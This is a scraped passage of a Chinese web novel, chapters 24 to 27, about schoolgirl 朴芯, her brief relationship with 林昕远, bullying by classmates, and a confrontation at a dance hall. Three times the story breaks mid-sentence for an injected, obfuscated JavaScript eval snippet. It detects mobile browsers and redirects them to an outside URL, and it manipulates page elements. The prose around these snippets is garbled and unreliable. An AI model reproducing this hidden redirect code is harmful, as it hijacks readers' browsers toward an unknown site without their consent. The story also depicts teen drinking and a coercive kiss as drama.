林昕远处理伤口的方式相当粗暴，他对着水龙头把伤口上的血痂冲干净，回来往上倒碘酒。 褐色的碘酒顺着皮肤狰狞的伤口往下流，小齐在旁边看的呲牙咧嘴，好半天没憋住，问：“远哥，不疼啊？” 林昕远没答话，放下碘酒，垂眼看伤口，好一会没有其他动作，小齐感觉他好像愣住了，但仿佛又是错觉。 小齐一下不知道该不该说话，刚好外面有人叫他出去帮忙，小齐跟林昕远说了声就往外走。 他走后室内就剩下林昕远一个人，他靠在沙发上，头往后仰，天花板上白炽灯明亮，外面依稀还能听见吵闹声。 但林昕远一动不动，似乎在想什么事。 等乔宇和罗茜来时看见的就是这一幕，林昕远乔宇往前走了几步出声：“远哥？——你受伤了？” 林昕远才稍稍抬头，他视线斜睨两人一下，略点下头没说话。 乔宇心里顿时就有些不是滋味，他以前和林昕远关系好，但自从远哥谈恋爱之后，朴芯看他不爽，林昕远好像也有点顺着女朋友的意思。 其实也没具体发生过什么事，但乔宇就是觉得他们关系变远了。 他刚想说什么，林昕远躺倒说：“我睡一会，你们去外面。” 乔宇的话顿时憋回去，转而说道：“哦……好远哥你先睡会。” 他说不上话，罗茜自然就更说不上了，两人出来，乔宇在大厅的饮水机旁拿杯子接水。 半晌他突然说：“我想跟朴芯道个歉。” “哦，随便你，”罗茜不在意。 乔宇说：“上次的事如果远哥知道他肯定会生气。” “他生气？”罗茜回头看了他一眼：“你也觉得林昕远喜欢她？” 乔宇笑笑：“这不是挺明显的？” 罗茜翻了个白眼：“那是你眼瞎呗。” * 倒完水，乔宇去休息室拿东西，罗茜跟他一起。 房间开着门，林昕远躺在沙发上，他是长相格外锐利的那一挂，睡着的时候眉头紧锁，好像睡也睡的不安稳。 乔宇背身和一个走廊上的朋友聊天，林昕远估计是听见声了，但没睁眼，睡梦中往上拉了下衣领。 罗茜在沙发前看了会，忽然蹲下迅速地拍了几张照片。 * 朴芯晚上放学的时候收到了徐胜带的药。 她问了句林昕远呢，徐胜得到过林昕远不让他乱说话的嘱咐，就简短地说他有事，过不来。 朴芯哦了一声，说谢谢。 徐胜要送她回家，朴芯低着头，轻踹了下地上的碎石，不想他送，但是又觉得如果自己走，半路遇到洪强就不好了。 所以还是点头。 到家的时候六点四十多，朴芯把林昕远的书包给徐胜，让他带给对方，徐胜说好。 朴芯在开门的时候收到了两条消息，两张图片，拍的是林昕远，他不知道在哪个地方的沙发上睡觉，旁边有女生的手。 下一张是俯拍，拍了女生蹲在他的身边的场景。 半身照，能看到女生穿的是蓝色上衣，朴芯认出来这是罗茜今天穿的衣服。 两张照片，姿势氛围都很暧昧。 足够暗示些什么。 紧跟着的还有一句话【你真以为他喜欢你？】 或许是因为她早就知道林昕远的作风，所以朴芯在看到照片的时候也没有多惊讶。 关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16387094|184206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掉手机后仍然拿钥匙开门，只是心里慢慢升起一种不太高兴的挫败感，夹杂着些许愤怒。 她不在乎林昕远到底是不是真的和罗茜有什么，但她没法接受罗茜用这种事来膈应她。 本来朴芯和林昕远在一起就是因为想要报复他们，现在罗茜这几张照片就像是狠狠打了她的脸，告诉她，其实朴芯根本就伤害不到她。 不管是罗茜还是洪强、乔宇，他们都过得很好。 他们还可以和林昕远说话，还可以继续过着他们自己的生活，朴芯的报复不过是无关紧要的小瑕疵。 朴芯打开门，把钥匙攥进手里，尖锐的金属刺痛皮肤。 * 林昕远过了两天才来学校。 他下午进教室，没睡觉，就在后面坐着。 上次月考朴芯的生物考的不行，这几天一直在恶补生物知识，但她毕竟一年多没学过生物了，现在无论再用心补都感觉是亡羊补牢。 朴芯难免会感觉到焦虑，也就只有这时，她才会短暂地把全部精力放到学习上。 整个下午朴芯都在背徐怀仁给的资料，到放学外面下了雨夹雪，雨势突然，班上大多数学生都没带伞，就在教室里等着雨稍微停了再回家。 林昕远才睡醒，从后面起身敲了敲朴芯的桌子说：“等会走。” 林昕远的手长得也好看，修长有力，随便曲一下姿势就很漂亮，是朴芯目前看过最接近漫画感的手。 但是朴芯垂了下眼，说不要。 林昕远谈个恋爱也挺佛的，他非常难得且好心地多解释一句：“没带伞，你往哪走？” “我想回去写作业。” “……” 她把桌上的书都塞进书包，看起来就是非要做不可。 前几天的药她不知道吃了没，鼻子还有点泛红，估计是鼻炎还没好。 可能是两天没见着她，到这林昕远还没生气，朴芯说完，他朝教室门口的一个男生招手，问他要了把伞。 外面雨夹雪渐渐下大，雪少雨多，这样的天气往往预示着不久后会有一场大雪，林昕远举着伞。 朴芯离他有段距离，雨水都往她肩膀上飘。 林昕远的伞倾斜到一定程度，他伸手扯过朴芯：“你离我近点。” 不过朴芯还是躲，站远了半步说：“你身上有烟味。” 这话纯属胡说了，这两天林昕远这连烟都没碰。 他稍微低头看朴芯，面前的女生头发湿了些，稍许黑色的碎发贴着脸，明明是一副很软的长相，偏偏眼睛存着些不配合的怒气，眉头稍皱，很凶很生气的样子。 林昕远莫名想起那只兔子玩偶，这谈恋爱和没谈就是不一样，虽然说只有一个名号，但莫名的，林昕远就是没生气，问：“你哪闻到烟味了？还是我惹着你了？” 其实他身上确实没有烟味，朴芯低头走路，说：“是你惹的。” 林昕远轻笑了声，他今天似乎心情不错，伞往朴芯那倾斜问：“这两天你见到我了还我惹你？还是晚上做梦梦见我了？” 他语气稍松，但朴芯却没有任何轻松的感觉，她想问昨天那张照片，想问你不是答应过我不和罗茜说话了吗，但都没问出来。 雨点打在纤薄的伞面上，连续不断的哒哒声或轻或重地敲着，朴芯扯着书包带子，仰头看他，忽然郑重地叫他：“林昕远。” “嗯？” “你为什么要和我在一起？” 25. 第 25 章 你对我有好感吗？ 朴芯不知道答案，林昕远也没有回答，他瞳仁漆黑，随意略她一眼，没太在意地反问：“你感觉呢？” 朴芯当然感觉不出来什么，所以没再说话，她从林昕远的答案中察觉到了敷衍，感觉他并没有把自己放在心上。 当然，其实这很正常。 问题只是在于，这意味着如果她和乔宇罗茜中的任何一个发生冲突，林昕远都有可能不会帮她。 而且他们之前明明约定好了，他不会再理会罗茜。 地面湿了一层水，踩上去溅出微弱的水花。 朴芯今天穿的是薄底的运动鞋，积水没过鞋帮，湿冷感顺着皮肤往上爬，伴随着的还有逐渐升起来的不悦。 凭什么他们对待自己都是这个轻描淡写态度，而自己什么都不能做，为了维系安稳的生活甚至还要息事宁人，把一切伤害都当成不存在。 她有什么可以反击罗茜的吗？ 好像没有。 自始至终她所有的筹码都只有林昕远。 罗茜喜欢他，他和乔宇是好哥们，和洪强不对付，是关系圈中的核心点，他和自己唯一的牵连，是男女朋友关系。 总之，一切都在林昕远。 朴芯往前走了几步，然后放慢步伐。 旁边林昕远察觉到了，挑了下眉，示意她有事就说。 朴芯问：“我能和你拍张照吗？” 很突兀地提议，林昕远问：“什么照片？” “就，”朴芯顿了一瞬，接着说：“牵手照……” 她刚才想了一个惊世骇俗的计划，却还是在提出牵手这个要求时迟疑，像他们最初见面的时候那样有些慌乱无措，“你不一定真的要牵我，虚放在我手上——” “哦，”林昕远换了个手打伞，没所谓地牵起她的手说：“你拍。” 他指节分明，手背上有些横斜的青筋，寥寥几道存在感却很强烈，温热感从交触的地方传来。 朴芯怔愣了一瞬，赶紧拿手机拍了张照。 林昕远也没问太多，朴芯拍完他就松手，那时候朴芯超出自己预计的紧张，所以也忘记去看林昕远的表情。 她只记得听见林昕远轻笑了一声，嗓音很闷。 回到家，朴芯把照片发给昨天那个号码，没有附带任何话，发完她把图库里的照片删掉。 手机里显示的时间是24年1月19号。 雨夹雪，提示有暴雪将至。 * 陇县对朴芯唯一的眷顾就是她极大概率会遇见自己想遇见的人。 一月下旬，一高很快就要准备期末考然后放寒假。 徐胜、魏颖他们也逐渐放假，开始更多的出现在陇县，一次是魏颖过生日，邀请了林昕远。 朴芯也去了。 她在这种场合大部分时候都是旁观者，魏颖他们今天喝了好几瓶酒，等要切蛋糕的时候场上都醉的不行了。 生日聚餐是在魏颖家客厅，离林昕远家很近。 林昕远今天一口酒都没喝，把徐胜他们稀奇坏了，徐胜凑在他旁边问：“咋了远哥，上次摔坏了？自从那天起就没见过你喝酒？” 徐胜目光猥琐，林昕远连烟都没点，说：“滚，我喝不喝用得着你管？” “好不要我管是吧？”徐胜喝得多，直接干了半瓶白的，说话大着舌头：“要，要嫂子管不，嫂子，嫂子！你看远哥！” 大家都对八卦感兴趣，徐胜一起头，好几个男生都跟着扯着嗓子叫：“嫂子！嫂子管不管远哥了？！” 叫的连林昕远都乐，他笑骂道：“傻逼吧你们。” 朴芯刚来，在厨房洗手，听到外面的起哄声也没搭腔，倒是同在厨房的魏颖夹着烟，冲外面喊：“你们有本事劝林昕远喝，别扯上别人。” 徐胜又喊：“少管情侣的事，人家乐意着呢？” 林昕远骂了声艹，魏颖找了打火机把烟点上，和朴芯说话：“你叫朴芯对吗？” 她嗓音微沙，声线很独特，朴芯点点头说是。 魏颖的语气和她外表相反，说话很和气：“我是林昕远的朋友，你别怕我。之前我俩是邻居来着，小时候我没爸妈管，他也没，他没少罩着我。” 魏颖是留守儿童，父母外出打工，经常一两年才回来一次。 平时在镇上也没少受别人白眼，在学校里倒是好一点，她不像林昕远孤狼一个，和别人交好有时候也是为了耍着人玩。 魏颖交友圈很广，大哥大姐一堆，所以她在学校的日子过得还算滋润。 平时和林昕远也说不上话，但两人的交情是从小就有。 在魏颖还没进化出交友圈时，她小时候如果被人欺负，林昕远看见会帮她。 记得有次家里进贼，魏颖缩在床底下吓得要死，还是林昕远听见声过来抓贼。 一来二去，他们算是朋友。 魏颖说：“虽然林昕远确实不是什么好东西，但他有善良的一面，我到现在还感谢他。” 说完，魏颖似乎是觉得这话有些牙酸，又说：“当然我不是为他开脱，林昕远就一混蛋。我让表妹千万别和他在一起，不然有的罪受。” 朴芯第一次听说魏颖的表妹，好奇地问道：“你表妹是？” “你见过的，”魏颖划开滚轮打火机点烟：“罗茜，住在街尾。我妈和她妈是亲姐妹。” 朴芯愣住，水龙头的水流过手掌，她低低低应了一声，丧失了交谈的兴趣。 但魏颖没有察觉到女生的异样，她反而觉得朴芯挺可爱的，和林昕远在一起真的亏了，接着说道：“我表妹挺迷他的，不过你也别担心，林昕远对她不感冒，我也不可能同意他们在一起，她管不住林昕远。” 厨房的门侧对着客厅，魏颖能看到外面林昕远正往这看。 林昕远这个恋爱谈的可谓是人尽皆知，连魏颖都听到了一些风声，又是天天去学校陪着，又是连她下乔宇的面子都护着的。 罗茜没这待遇，人家压根不喜欢她。 这些事情魏颖看的明白，她因此多说了几句：“我听说你和罗茜之前放学都一起走，这次怎么没一起来？” 朴芯关上水龙头，说：“我不喜欢她，所以没一起来。” 她说的太直白了，倒是让魏颖一愣，但她愣完反而笑笑说：“你这个性子我喜欢，如果我表妹有什么得罪你的地方我替她道歉。她这人从小就是那性格。” 朴芯不合时宜的，想起了周婵，她也经常会说这样一番话。 ——“如果我女儿有什么做的不对的地方请你们多担待，她从小性格内向，不擅长交际。” 今时昨日对比，更显得此时的寥落，尽管罗茜是做错的那一方，但还是会有人向着她说话。 可是别人越说， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16387095|184206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朴芯就越不平，她点点头，说：“哦。” 朴芯从厨房出来，林昕远这边还没等她靠近就随手一指，让她：“你到外面玩，我一会送你回去，这几个傻缺抽烟抽的都是味。” md林昕远自己都老烟枪说这话，过河拆桥啊？ 周围又是一圈怪叫。 朴芯自然也不想多在里面待着，出来在院子里站着。 过会，魏颖也出来，坐下对林昕远说：“你女朋友挺有意思的，有个性。” 不像表面那么温和，但怎么说，脾气很对魏颖的口味。 林昕远像是知道发生了什么，直白地说：“她懒得理你，对谁都这个态度。” 更准确的来说是对林昕远身边的人都这个态度，所以平时林昕远也很少带她出来。 “噢？你也能忍？” “我不一样，”林昕远斜睨她一眼：“她对我就必须好言好语。” 魏颖不信，不过也没有多说，低头抽烟。 那边朴芯在院门口等着，没一会看见乔宇走过来，他刚才出去买饮料了，乔宇看到朴芯了。 走过来，打招呼：“怎么在外面站着？” 说句客观的话，乔宇的外表确实很有迷惑性，曾经林昕远的朋友圈里朴芯对他印象最好。 朴芯没有说话，乔宇也似乎早料到这一幕，他踌躇一会，说：“之前的事情是我对不起你，我不该同意给你打那通电话，你要打要骂我都可以……” 这是朴芯想要的道歉吗？ 好像也不是，因为乔宇说的太轻松的，轻松到让朴芯甚至觉得这个道歉无关紧要。 报复最好的方式以牙还牙，方式不一定一样，但必须要要对方经受相似的痛感，不然凭什么别人一句轻飘飘的道歉就把事情翻篇？ 难道就凭“对不起”这三个字，就能抹去受害者的痛苦吗，说完这三个字就能抚平所有伤口吗？ 对不起是最无用的词语，大部分时候它都只是一句用来增加道德筹码的话，意味着“你看我都诚心诚意道歉了，你为什么还要抓着过去的事情不放，就不能往前看吗？” 如果这件事无关紧要，如果朴芯足够大度，她或许会在此时说句没关系。 可惜不是，每当她打算息事宁人的时候都会有人反复地来提醒她，这件事没过去，他们还过得很好。 罗茜有魏颖为她说话，乔宇和洪强朋友还很多。 所以只能以其人之道，还治其人之身，凡其伤痛，必还之以血。 朴芯没有搭话，她视线转回室内，那里林昕远正在和徐胜说着些什么，有点懒散地不耐烦。 朴芯叫他的名字：“林昕远。” 外面有冷风往屋里吹，林昕远听见喊声抬头：“嗯？” 朴芯的头发长长了一些，黑发落在肩膀上，顺从地往下散，她最近瘦了很多，脸小，因此显得眼睛更加大，黑白分明。 挺乖的长相，但说出来的话却一下让人愣住，朴芯说：“我们分手。” 室内很吵，朴芯这句话说的也不大声，但她话音刚落，室内立马安静了。 旁边乔宇也没想到她忽然来这么一句，慌得要死，赶紧解释：“远哥，我什么都没说，就聊了两句……” 那边林昕远靠在椅背上，灯光从顶上洒下，照得他挺拔的鼻骨处有道分明的明暗线。 盯着朴芯，然后渐渐眯眼。 26. 第 26 章 因为聊了几句，把哥们的恋爱整黄了，这就很尴尬了。 乔宇多半也知道朴芯是故意这样做的，为了给他难堪，但他说出来也没人信。 难道人家费尽心思谈个恋爱就为了整你？你们什么深仇大恨啊？ 乔宇自然不可能把当初的事情说出来，所以是哑巴吃黄连，这亏只能自己咽下去。 乔宇当天在徐胜和周围兄弟谴责的目光中不知道惶恐地说了多少句对不起，他确实也是真怕朴芯因为自己和林昕远分手。 道歉道的就差跪下磕一个了。 林昕远全程都没怎么开口，徐胜打圆场说嫂子开玩笑的，说了几句，见他脸上没有表情也就讪讪闭嘴了。 他们提前离开，路上朴芯默契地没有提刚才分手的事情。 林昕远点了根烟，没抽，就拿在手里。 谁也没先开口，空气中漂浮着燥冷感和微弱的烟草味，直到走到街尾，林昕远猛然摁住朴芯的肩膀把她推向墙边。 猝不及防的疼痛传来，朴芯抬头看向他：“干吗？” 这句“干吗”的语气简直和林昕远一模一样，和朴芯寻常说话的感觉丝毫不同，林昕远听出来了。 他笑了下，但只有一瞬，很快又收住。 林昕远的五官凌厉，眼鼻唇的线条中没有任何钝角缓冲，耳朵夹着黑色耳钉，一笑一冷间给人的感觉就是戾气十足，凶狠无比。 他摁着朴芯不让她动，手上夹着的烟往上烧，红光吞噬烟丝，林昕远靠近，声音压得很低：“你刚才说什么？” 朴芯没躲，但也没有开口，回避似的稍微垂睫。 她和以前比真的变了挺多，按照她之前的性格这个时候应该手足无措的解释才对。 其实今天出门前林昕远的心情挺不错的，又是放假又是朋友聚会的，但他没想到朴芯敢当着别人的面说那些话。 林昕远低头，手臂伸着，把人困在方寸之间，语气平静，眼神却沉得吓人：“你今天到底是要让乔宇下不来台，还是要给我找不快？” 朴芯过了几秒说：“我对你没意见。” “对我没意见？”林昕远侧头掸掸烟灰，朴芯正想要再说什么，林昕远猛然捏住她下巴强迫她抬头，语气凶戾：“你没完没了是吧？一次两次我给你面子给多了，问你你什么话都不说，就知道给我脸色看？你tm真以为我非你不可，不敢分手？” 他的动作带来疼痛感，朴芯下意识要躲，又被掰过脸，这个动作带来不小的痛感，朴芯的骨子里是有犟脾气的一面，发起脾气就是吃软不吃硬。 她抓着对方的手臂，收拢手指，指尖握得发白：“我没有说你非我不可，而且说到底，一开始是你想和我在一起。” 这句话不知道为何激怒林昕远了，他伸手把烟头摁灭在墙上，更靠近了些，气息体温都近在咫尺，朴芯甚至能察觉到他的鼻骨抵着自己脸颊。 暧昧中夹杂着压迫感：“我想和你在一起？嗯知道为什么吗？” 朴芯本能地察觉到了危险，潜意识告诉她现在应该说句软话，安抚一下对方，但朴芯说不出口。 她只是直视着林昕远，让人立马想起来那天的巷子里，那个接近怨恨的眼神。 好像在说，因为你tm的就受不了我这样恨你，讨厌你。 十分不爽，逼人发疯的目光，林昕远没给她反应的时间，气血上涌，烧得他心底一片烈焰灼灼，不假思索地低头吻下。 这是一个愤怒的吻，但林昕远却在即将触及的刹那轻微阖眼。 他们的距离本就很近，近到这个吻落下不需要太长的等待，可是这个姿势这个场景，一下激出了朴芯的本能反应。 她不知道哪来的力气和胆子，抬脚踹在林昕远小腿，然后挥手给了他一巴掌。 寂静的巷子里，这声清脆的巴掌声震耳欲聋。 朴芯愣住了，她张嘴想说什么，但是没说出来，林昕远好像也懵了。 这或许是他十七年来第一次被人扇巴掌，他错愕地摸了下自己的脸，其实林昕远的皮肤算白的，因此显得红痕更加明显。 他气笑了：“牛逼啊，我艹牛逼朴芯。” “行分手，”林昕远倒退了一步，咬牙说：“分啊，我留着你干吗，朴芯，现在如你所愿，tm的。” 他转身就走，朴芯在原地愣了好久，慢慢贴着墙蹲下，抱着自己膝盖，好像不可置信地看了看自己的手掌。 刚才那么大力气他可能会疼吧。 而且林昕远应该还挺怕疼的，之前每次朴芯有什么动作的时候他都会说别搞，疼死了。 妈妈，我好像又做错一件事，朴芯然后把脸埋在手臂里。 我想离开陇县，消失在这个世界上。 * 林昕远从那天起到放寒假都没来学校。 而他们除了在学校有联系，其他时候根本没说过话，甚至直到现在朴芯既没有林昕远的电话号码，也没有加他的vx。 可能真的结束了，这样其实也好。 朴芯不知道该怎么定义他们的关系，说不上多轻松，但可能也没有很难过。 朴芯还要照常学习，朴兴南从来不会多给她发消息，有些事情她只能自己消化。 她也不能和从前的朋友诉说，因为毕竟环境不一样，朋友或许不会理解她现在的生活。 有时候人一旦走入新环境，无论是痛苦还是快乐遗憾，所能依靠的就只有自己。 朴芯在期末考前短暂地忘记了林昕远。 她没想到她们下次相遇会是在陇县的一家小舞厅。 自从朴芯在超市遇到过洪强一次后，有大半个月她都没再见过这个人，那天是刚放寒假。 朴芯回到家，写了会作业又去学校拿东西，然后遇到了洪强。 陇县就这么大点地方，她逃得过初一逃不过十五，无论怎么躲都会被找到。 其实在洪强没进看守所之前，她就经常被找到，一次两次，次数多了朴芯也学得很乖了，逃不了就稍微顺从一些能让自己好过一点，所以洪强让她喝酒的时候朴芯也喝了。 她酒量其实也还可以，就是白酒很辣，她喝完嗓子很疼。 洪强本来还怒气冲冲的，见朴芯喝完酒，给足了他面子也没有那么生气了，扯着她挨着自己坐下， “你说你何必呢，听话一点大家都开心。上次在超市遇见我你躲什么，躲来躲去没意思。” 朴芯垂着眼，喉咙里泛着辛苦味，因此没有说话。 周围酒气和烟草味混合在一起，组成令人作呕的腥味，她就是在这个时候看到的林昕远。 他正和几个朋友坐在一起，应该是在喝酒。 周围有女生，这也很正常，像林昕远这种人，就算说了要追谁也不可能付出百分之百的真心，何况他和朴芯之间大多数时候更像是陌生人。 他和朋友聊天的时候会笑，但是和朴芯在一起说话时只会皱眉和不耐烦。 眼下就是这样，那边一行人应该是很早就在这里了，场子早就热起来了，眼下正在玩骰子。 魏颖坐在林昕远对面，可能是开到了什么特殊的点数，她说了什么，嘴唇轻启，笑得很开怀。 林昕远站起来摇骰子，动作流畅，自带一股说不上的感觉，舞厅里所有人的目光都落在他身上，连洪强这边都在看。 洪强和林昕远的梁子比较大，他直接骂了声艹，但是可能估计着林昕远那边人也挺多的，没上去动手。 冯江在洪强进去的时候一直在夹着尾巴做人，这半个月都难得出来，早就很憋活了，附和着大哥骂了几句：“我艹，死装。” “上次就该弄死他，让他现在这么狂。” …… 他们说着，可能是酒劲上来了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16387096|184206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朴芯的脑海中有些混乱，她会在一切喧嚣不安全的环境中感到紧张，因此攥紧了自己的手。 就在林昕远摇完骰子，侧身轻咳的时候他们对视了一眼。 朴芯其实没太看清林昕远，在她的视线里对方的身影是模糊的，灯光落在他身上，晕出一圈淡色的光晕。 林昕远定定地望着看了会，抬手用手背抹了下嘴角，随即往这边走。 洪强瞥见了，逐渐从座位上坐直身体。 林昕远在旁边的沙发上落座，他倒是气定神闲，来了也不开口说话，但场上的气氛明显紧张起来，冯江的表现最明显，整个人都肉眼可见的紧绷。 好一会这边都没人说话，还是洪强先开口。 他还记得林昕远曾经为朴芯出头的事情，而且这几天洪强也听见了一些传言，说林昕远这次回来就是为了一个女生，属于明眼人都能看出来他对这个女生态度不一般。 但是不一般又能怎么样，现在人还不是在他身边。 洪强朝林昕远那边挑挑眉问：“又回来了？” “一个月前回的，”林昕远回答。 洪强从桌上捞起瓶酒又给朴芯前面的酒杯倒了一杯啤酒，说道：“你回来的刚好，我正想跟你说，你们学校这个女生挺带劲的，怪不得你之前那么护着他。” 他把酒推给朴芯，故意要给谁看，说：“去给他敬一杯，谢谢他。” 朴芯顿了顿，先抬头看林昕远。 男生毫无反应，甚至都没看朴芯，直到她起身。 林昕远在朴芯过来的时候抬腿拦住她，随即顺理成章地搂过她的腰。 动作突兀，洪强眼神一下变了，林昕远拿走朴芯手里的酒杯说：“强哥不知道吗？我之前和她谈过。” 林昕远说：“我这人对女朋友管得严，就算分手了，没我允许也不准她在外面和别的男生说话，不准她喝酒晚归，你要喝我陪你。” 正说着，徐胜也过来了，他看出氛围的异样，有意缓解，推着林昕远的肩膀说：“远哥，你这不厚道啊，人家都是妻管严，到你怎么就反过来了，是吧洪哥？” 洪强不搭话，只盯着林昕远。 刚才还十分抗拒的女生坐在林昕远身边似乎没那么拘束了，低着头，长长的睫毛垂下，确实是独一份的漂亮。 洪强冷冷笑了几声，嘴角扯着：“倒是不知道你们什么时候在一起了，你要喝啊？我不是听说你戒酒了？” 林昕远讲：“还没戒，等着你一起喝。” 洪强又笑，眼睛里精光一闪，狠劲毕显，说：“好，既然你要陪，我这当大哥的也不好拂了你的面子，冯江，快给我们远哥开酒。” 口气里讽刺居多，冯江听得明白，马上招呼酒保上酒，三瓶啤的，两瓶白的，照着往死里喝的架势上的。 开完，洪强紧盯着林昕远说：“你喝，都喝了你们走。” 徐胜的脸色顿时变了，他正要说话，林昕远先起身。 接过冯江递过来的酒瓶，拎着酒瓶起身喝酒。 舞厅里气氛很炸，五颜六色的旋转气氛灯洒出细碎的彩色灯点，dj声鼓点密集，放的是短视频的快节奏的音乐，舞池中男男女女跟着音乐扭动。 在这种热闹混乱的气氛中，林昕远单手握着酒瓶，堪称粗暴地仰头往喉咙里灌酒，几乎是不需要停顿，尖锐的喉结快速滑动着，一瓶酒顿时下去一大半。 他一瓶一瓶往下喝，洪强的脸色逐渐变得精彩。 林昕远这个行为是明显的服输、认弱，这是十几年来从未有过的事情，为了一个女生他做了。 做的干脆利索，锐利疯狂。 舞厅的灯光不留余地的洒下，伴随着音乐和起哄声，朴芯也像其他人那样抬头看他。 脑子里晕眩，但他的身影却清晰。 ——那是他们的十七岁，辉煌痛苦、热烈沉闷。 27. 第 27 章 林昕远喝完刚出来就吐了，徐胜在旁边手忙脚乱的给他找水，朴芯站在两步远的地方，没上前。 徐胜匆匆回头一瞥时看见朴芯了，冷风里女生的身影尤为单薄，穿着一件轻灰色的外套，雪青色的围巾拿在手上，可能是喝了酒，眼睛有些红润。 他低声朝林昕远说：“那女孩在看你。” 林昕远没有应声，起身拍拍他的肩膀借了下力往前走。 冷风吹彻，徐胜脑子活，硬生生从他这个动作里察觉到几分余情未了。 其实也不怪他多想，林昕远最近的表现就很异常。 徐胜和林昕远认识的比较早，徐胜的父亲早先和林昕远的父亲林伟一起跑长途。 家长交好，再加上他们都是男生，平时一起玩，一起开玩笑之类的不用顾虑态度，关系自然就比旁人亲密。 徐胜还没退学之前和林昕远基本形影不离。 相处的时间久，徐胜或多或少了解他的性格。 林昕远天性冷淡，从小时候开始就这副混账样，但在林伟还没去世之前，他还没现在这么叛逆。 在徐胜的记忆里，林伟是个沉默寡言的中年男子，吃苦耐劳就是他身上最大的标签，为了供自己老婆在大城市读博，跑车经常几天几夜都不带停的，一个人卸货装货，从早干到黑。 这样忙碌自然顾不上对孩子的教育，从徐胜记事情起，林昕远就是孤身一人。 偶尔林伟回来会带他去吃顿饭，给他买点东西之类的。 父爱不多，但至少是有。 林昕远小学的时候其实还算正经，那时候还是他们班的三好学生，体育成绩尤为显著，当时还被短跑队挑过去训练。 虽然偶尔也抽烟，打架，可是远没有没有现在这么随性堕落。 自从林伟去世，林昕远就不再参加短跑队的集训了，他没有人管，也不屑被人管。 徐胜有时候感觉在林昕远的世界里什么都不重要，未来不重要，生命也不重要。 ——刚才他那个喝酒的架势，显然是没把自己身体当回事。 这些徐胜都看在眼里，但他有心无力，林昕远早就习惯过这种生活了，不听劝也没人敢劝。 就这么过了几年，终于，许久不见的沈青阿姨出现在陇县，可能是在浦江的生活稳定了，她想把林昕远也接过去。 林昕远走了，但是没多久又回来了。 徐胜正觉得稀奇呢，忽然传出消息说他谈恋爱了。 而且谈的那叫一个专心致志，一改往日的作风，成天都在学校里待着，才谈一个月就说要戒烟戒酒。 给人的感觉就是林昕远这人脑子出问题了，放着浦江的优越生活不过，重新回陇县就是为了谈这场恋爱。 平时以前的朋友聚在一块，说起这件事时也都是不解。 徐胜本来也不理解，毕竟沈青多有钱，连回陇县接林昕远的车都tm是劳斯莱斯。 可今天他有点琢磨出味了。 林昕远这个恋爱谈的这么仓促，这么反常该不会他真喜欢朴芯吧？ 不然这又是戒烟又是挡酒的，也说不过去啊。 林昕远虽然是有点善心，但绝对还没到多管闲事的地步，他百分之百，肯定还对人家有感情。 怪不得前几天一服看谁都不爽的样子，看起来不像是真分了，倒像在闹别扭。 只是一个不屑于说，一个又太单纯，压根不懂对方那点心思。 徐胜这么想着，回头看了眼朴芯。 她还站在原地看着林昕远离开的方向，直到他走进一个拐角，背影消失，朴芯才收回视线。 朝徐胜点了下头，然后也不知道要说什么，回头往家走。 * 因为这件事，朴芯一连几天都没出过门。 陇县过年的气氛要比她在城市时更浓烈，许多外出打工的人都陆续回来，隔壁陈文家几乎每天都有人来拜访。 吵闹声，说笑声不断，到晚上才能安静。 朴芯待在房间里看漫画，这些漫画书她之前都看过一遍，但是可能是太长时间没看过了，再看觉得里面的内容很陌生。 画面还有那些她本来应该读得懂的日文韩文现在都开始有些模糊。 只看了一会，她又重新合上，开始刷题。 假期开始前的一周内，朴兴南试探性地给她发了条消息，问她今天要不要回南京，说他们今年要去朴闻外公家过年，如果朴芯不方便就不用来了。 话外之意就是让她别回去了，朴芯回复了一句好，别的什么也没说。 她有时候会想起林昕远，会想起周婵。 其实在那天舞厅分别后朴芯没想到还能再见到林昕远。 她甚至还在思考，这个假期过后林昕远会不会重新回浦江，所以当徐胜给她打电话时朴芯还有点懵。 朴芯问：“你怎么知道我的号码？” “……我找人问的，”徐胜解释了句，很快转变话题，点明来意：“哎林昕远发烧了，躺在家好几天了，你要不来看看？” 朴芯一愣：“我吗？” “对啊，”徐胜极力催促：“我们去他都不理，你去肯定行。你信我一句，林昕远肯定对你有意思，赶紧来吧，就在他家。” 说罢也不等朴芯应声，直接挂了电话。 朴芯在原地站了几秒，从抽屉了拿了围巾和口罩，还是打算去。 她一路低着头，还没走近林昕远家前面就有人叫他：“朴芯，这。” 朴芯抬眼往前看，徐胜正在路口等着，然后跑过来把手里的袋子和钥匙递给她：“远哥在睡觉，你开门直接进去，这是我刚买的药，你给他。我还有事先走了。” 朴芯接过钥匙，应了声好。 